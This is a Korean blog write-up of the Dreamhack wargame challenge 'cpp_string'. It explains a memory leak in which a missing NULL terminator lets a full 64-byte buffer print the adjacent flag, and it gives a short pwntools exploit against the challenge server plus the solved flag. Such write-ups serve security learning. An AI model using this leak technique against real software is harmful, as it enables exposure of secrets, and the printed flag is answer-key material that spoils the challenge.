본문 바로가기
hacking/pwnable

[Dream hack] cpp_string

by ilp 2025. 3. 3.
반응형

https://dreamhack.io/wargame/challenges/64

 

cpp_string

Description 이 문제는 서버에서 작동하고 있는 서비스(cpp_string)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾아 flag를 획득하세요! "flag" 파일의 내용을 워게임 사이트에 인증하

dreamhack.io



  1. 먼저 코드가 너무 길어서 따로 전체 첨부는 하지 않느다.
  2. 그리고 문제 코드에서 나오는 함수들의 설명은 자세히 하지 않는다.

일단 

먼저 read_flag(), read_file(), write_file(), show_contents() 함수들을 설명하고 간다.

 

 

이 함수는 test라는 파일을 열고 사용자로부티 데이터를 writebuffer에  입력받아서

readbuffer의 크기만큼 test 파일저장다.

 

이 함수는 test라는 파일을 열고 readbuffer 크기만큼 readbuffer에 저장한다.

 

이 함수는 flag 파일을 열고, readbuffer 크기만큼 읽어서 flag에 저장한다

 

readbuffer출력한다.

 

 

이제 어떻게 풀지를 생각해 보자

일단 이 문제에선 cpp의 read 함수를 알아야 한다.

이 read 함수는 마지막에 NULL 바이트추가하지 않는다. 

 

그러면 만약에 readbuffer메모리 공간 뒤에 바로 flag 가있다고 가정하면

readbuffer을 꽉체우면 뒤에 연결된 flag의 데이터까지 1+1 으로 출력할 수 잇다. (마지막에 NULL이 없어서)

 

그럼 이제 readbuffer과  flag그게 연결 되어있는지 보자

이렇게 두 변수의 주소를 보면

0x6023c0-0x602380 = 0x40 (=64)

64바이트가 차이나는게 보이는데 그렇기 때문에 flag과 readbuffer은 연결되어 잇따.

 

 

이제 익스플로잇 코드를 작성할 순서다

먼저 서버에 연결한다

아무 문자를 64개를 가진 문자열을 만든다.

text 파일에 만든 문자열을 작성하낟.

 

그리고flag 와 readbuffer값으로 읽어드린 다음에 

 

readbuffer의 내용을 출력한다 그러면 flag의 값도 같이 따라 나올 것이다.

 

전체 코드

from pwn import *
p=remote("host3.dreamhack.games",16156)

chuu=b'c'*64
p.sendlineafter(b'[*] input : ',b'2')
p.sendlineafter(b'Enter file contents : ',chuu)

p.sendlineafter(b'[*] input : ',b'1')
p.sendlineafter(b'[*] input : ',b'3')

p.interactive()
더보기

DH{549390a9beb20a8d0e9a6aa0efcb571f}


반응형